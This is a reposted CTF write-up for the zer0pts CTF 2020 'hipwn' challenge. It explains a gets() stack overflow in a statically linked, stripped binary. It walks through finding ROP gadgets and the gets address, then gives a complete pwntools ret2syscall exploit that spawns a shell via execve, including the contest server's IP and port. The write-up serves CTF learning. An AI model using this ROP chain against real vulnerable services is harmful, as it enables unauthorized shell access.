PwnieIsland 发表于 2021-3-5 00:58:01

zer0pts CTF 2020 hipwn

# hipwn

> Author: @ret2basic-PwnieIsland
>
> Topics: ROP (ret2syscall)

## Challenge

Hi, all pwners over the world!

(https://raw.githubusercontent.com/Pwnie-Island/Pwnie-Island-Wargame/main/zer0pts_CTF/Pwn/hipwn/chall)

(https://raw.githubusercontent.com/Pwnie-Island/Pwnie-Island-Wargame/main/zer0pts_CTF/Pwn/hipwn/main.c)

## Recon

```shell
$ file chall
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
```

Note that this binary is **statically linked**, so we can't use ret2libc. In addition, this binary is **stripped**, so we know nothing about the function names.

```shell
$ checksec chall
[*] '/root/Dropbox/Pwnie-Island-Wargame/zer0pts_CTF/Pwn/hipwn/chall'
    Arch:   amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

Since **NX** is the only protection turned on, this challenge can be solved with some ROP technique.

## Source Code

```c=1
#include <stdio.h>

int main(void) {
char name;
puts("What's your team name?");
gets(name);
printf("Hi, %s. Welcome to zer0pts CTF 2020!\n", name);
return 0;
}
```

Obviously `gets(name);` triggers stack overflow that allows us to control EIP.

## Analysis

Since the binary is statically linked and stripped, the first thing we should try is **ret2syscall**. To learn more about ret2syscall, check out (https://hackmd.io/@PwnieIsland/ret2syscall-cheat-sheet).

Let's look for necessary ROP gadgets:

!(https://i.imgur.com/cDPZclB.png)

However, the string `/bin/sh` is not inside the binary:

!(https://i.imgur.com/JE8cixl.png)

This makes the challenge slightly difficult. What we have to do here is to pass the string `"/bin/sh"` to the `.bss` section. The address of `.bss` can be easily found using Pwntools (`bss = elf.bss()`). Since the binary contains the function `gets`, we can call `gets(bss)` to open a STDIN session and pass the string `"/bin/sh"` from here.

Next, we need to find the address of `gets`. But the binary is stripped, so how do deduce the location of this address? First **disassemble** the binary:

```shell
$ objdump -D -M intel chall > disassembly.asm
```

We know that the **SIGSEGV** happens at `0x40019c`:

!(https://i.imgur.com/yQp65Sx.png)

So `gets` must be happening a few instructions before this point. Search `40019c` in the disassembly:

!(https://i.imgur.com/4KFiM5u.png)

There are three functions get called here:

1. `0x40062f`
2. `0x4004ee`
3. `0x400591`

**According to the source code**, we can deduce the correspondences based on the order that functions get called:

1. `0x40062f` => `puts`
2. `0x4004ee` => `gets`
3. `0x400591` => `printf`

So the address that we are looking for is `0x4004ee`.

Now we have everything ready for the ret2syscall attack.

## Exploit

```python=1
#!/usr/bin/env python3
from pwn import *

#--------setup--------#

context(arch="amd64", os="linux")
elf = ELF("chall", checksec=False)

local = True
if local:
    r = elf.process()
else:
    host = "13.231.207.73"
    port = 9010
    r = remote(host, port)

#--------Addresses--------#

pop_rax = 0x0000000000400121
pop_rdi = 0x000000000040141c
pop_rsi_pop_r15 = 0x000000000040141a
pop_rdx = 0x00000000004023f5
syscall = 0x00000000004003fc

bss = elf.bss()
gets = 0x4004ee

#--------ret2syscall--------#

offset = 264

payload = flat(
        b"e" * offset,
        # Round 1: call gets(bss)
        pop_rdi, bss,
        gets,
        # Round 2: call execve("/bin/sh", 0, 0)
        pop_rax, 59,
        pop_rdi, bss,
        pop_rsi_pop_r15, 0, 0x13371337,
        pop_rdx, 0,
        syscall,
)

r.readuntil("What's your team name?\n")
r.sendline(payload)
r.sendline("/bin/sh")
r.interactive()
```

###### tags: `Pwn`
页: [1]
查看完整版本: zer0pts CTF 2020 hipwn